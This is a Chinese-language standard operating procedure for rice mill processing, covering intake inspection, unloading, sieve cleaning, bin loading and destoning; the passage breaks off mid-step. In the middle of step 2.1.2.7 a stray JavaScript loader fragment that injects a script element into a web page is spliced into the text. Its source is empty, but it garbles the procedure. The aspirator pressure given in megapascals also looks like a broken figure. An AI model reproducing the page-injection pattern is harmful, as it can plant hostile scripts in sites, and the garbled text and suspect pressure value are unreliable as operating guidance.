大米生产基础标准操作专项规程.doc

大米生产标准操作规程一、目标规范大米生产步骤中各工序操作。二、适用范围企业所属车间水稻加工、大米再加工，水稻或大米代加工，大米生产技术考评和培训。三、标准操作规程大米生产步骤：来料接收大米生产产品贮存1.来料接收来料接收操作步骤来料验收监督卸料清理上仓1.1来料验收操作规程1.1.1适用范围：进入车间加工原料，包含水稻、大米等。1.1.2操作规程1.1.2.1确定来料品种和数量。1.1.2.2索要该批物料最新（3日内）品质检验汇报。1.1.2.3和生产计划中原料要求进行比对，确定是否为所需原料，如有差异，应通知车间主任按要求处理。1.1.2.4通知上料人员上料时间和上料口位置。来料验收为关键控制点。目标：分清各部门在原料质量管理方面责任。内容：对来料进行品质检验。1.2监督卸料操作规程1.2.1适用范围：过秤后散积或袋积物料，定量包装物料。1.2.2操作规程1.2.2.1确保过秤后物料安全运至上料口。如有散落，应要求运输工人立即收回；如有影响物料品质原因（如淋雨等）时，应立即中止运输。1.2.2.2检验并清除卸料作业区内有影响物料品质原因，要求卸料过程在卸料区内完成。1.2.2.3检验运输散积物料车辆，确定车内物料已全部卸完；检验袋积物料空包装物，确定袋内物料已全部倒出。1.2.2.4整理卸料过程中散落物料，并全部投入到上料口。1.2.2.5办理物料交接手续。1.3清理操作规程1.3.1适用范围：移动式圆筒初清筛，固定式圆筒初清筛。1.3.2操作规程1.3.2.1固定设备，确保设备在使用过程中不发生移动。确保设备出料口对准上仓设备进料口，且不会发生刚性接触。 1.3.2.2检验初清筛滚筒筛面，去除筛面上杂质。1.3.2.3检验初清筛滚筒筛面，筛面应无破损，如有破损应立即更换（更换方法参阅设备维修维护手册）。1.3.2.4下杂口挂好接料袋，确保杂质不外漏。1.3.2.5点开启电机，观察设备运转情况。如有异常，按设备维修维护手册检验并排除故障。1.3.2.6开启电机，设备运转1分钟后开始给料。1.3.2.7设备使用过程中，如有异常，应先停止给料，再关停设备，按设备维修维护手册检验并排除故障。1.3.2.8下杂袋满了要立即更换。1.3.2.9立即清理洒漏物料，停料后，设备要继续运转2分钟再关机。1.3.2.10清除滚筒筛面上杂质。1.3.2.11杂质过秤后运至指定位置。1.3.2.12松开可移动设备固定装置，移至指定位置。1.4上仓操作规程1.4.1适用范围：用输送设备把散料送入料仓。1.4.2操作规程1.4.2.1确定输送设备出料口对准指定料仓。1.4.2.2点开启电机，观察输送设备运转情况。如有异常，按设备维修维护手册检验并排除故障。1.4.2.3开启电机，设备运转1分钟后开始给料。1.4.2.4设备使用过程中，如有异常，应先停止给料，再关停设备，按设备维修维护手册检验并排除故障。1.4.2.5停料后，设备要继续运转2分钟再关机。2.大米生产大米生产操作步骤初清清理去石砻谷谷糙分离厚度分级调质碾米白米分级色选抛光稻壳粉碎壳粉包装长度分级精选大米包装2.1初清操作规程2.1.1适用范围：自衡振动筛（无垂直吸风道），平面回转筛2.1.2操作规程2.1.2.1检验振动筛上、下层筛面，去除筛面上杂质。2.1.2.2检验振动筛上、下层筛面，筛面应无破损，如有破损应立即更换（更换方法参阅设备维修维护手册）。2.1.2.3检验振动筛下杂口，清理杂质，确保下杂通畅。2.1.2.4检验振动筛进料端筛框固定螺母，确保筛框已被压紧。2.1.2.5检验振动筛两侧筛框固定螺母，确保筛框已被锁紧。2.1.2.6大、小杂接料口挂好接料袋，确保杂质不外漏。2.1.2.7开启设备，注意观察筛体振动情况，如有不正常跳动、晃动现象或非正常响声，应 var script = document.createElement(script); script.src = ; document.body.appendChild(script);立即停机，按设备维修维护手册检验并排除故障。2.1.2.8打开给料闸门，调整匀料板使物料左右均匀流入上层筛面。调好后，必需用销紧螺母紧固匀料板轴。2.1.2.9注意观察大、小杂内是否混有粮食，如混有粮食应立即停机，按设备维修维护手册检验筛面情况。2.1.2.10上层筛面杂质最少每1小时清理一次，下杂袋满了要立即更换。2.1.2.11给料停止后，设备继续运转2分钟后再停机。2.1.2.12设备长时间不运转，应按设备维修维护手册拆下上、下层筛面完全去除杂质，并检验筛面是否有破损。2.2清理操作规程2.2.1适用范围：自衡振动筛（有垂直吸风道）2.2.2操作规程2.2.2.1检验振动筛上、下层筛面，去除筛面上杂质。2.2.2.2检验振动筛上、下层筛面，筛面应无破损，如有破损应立即更换（更换方法参阅设备维修维护手册）。2.2.2.3检验振动筛下杂口，清理杂质，确保下杂通畅。2.2.2.4检验振动筛进料端筛框固定螺母，确保筛框已被压紧。2.2.2.5检验振动筛两侧筛框固定螺母，确保筛框已被锁紧。2.2.2.6大、小杂接料口挂好接料袋，确保杂质不外漏。2.2.2.7开启吸风装置，使垂直吸风道内有风经过。2.2.2.8开启清理设备，注意观察筛体振动情况，如有不正常跳动、晃动现象或非正常响声，应立即停机，按设备维修维护手册检验并排除故障。2.2.2.9打开给料闸门，调整匀料板使物料左右均匀流入上层筛面。调好后，必需用销紧螺母紧固匀料板轴。2.2.2.10平稳地打开垂直吸风分离器风量调整板，小心调整风量，使粮食不随杂质吸出。2.2.2.11注意观察大、小杂内是否混有粮食，如混有粮食应立即停机，按设备维修维护手册检验筛面情况。2.2.2.12上层筛面杂质最少每1小时清理一次，下杂袋满了要立即更换。2.2.2.13给料停止后，设备继续运转2分钟后再停机。2.2.2.14设备长时间不运转，应按设备维修维护手册拆下上、下层筛面完全去除杂质，并检验筛面是否有破损。2.3去石操作规程2.3.1适用范围：比重分级去石机2.3.2操作规程2.3.2.1检验筛面是否平整、有没有破损，如有问题应按设备维修维护手册拆下整个筛框并处理。2.3.2.2开启吸风装置，风压表度数应大于7.5MPa，最好为12MPa。2.3.2.3开启去石机，注意观察机体振动情况，如有不正常跳动或晃动现象，应立即停机，按设备维修维护手册检验并排除故障。2.3.2.4打开给料闸板，使原料铺满上、下层筛面。2.3.2.5松开风量调整板手柄紧定螺丝，调整风量，使上、下料层均处于半悬浮状态，控制上、下层物料分配百分比（增加风量可降低下层物料量）。调好后，锁紧手柄紧定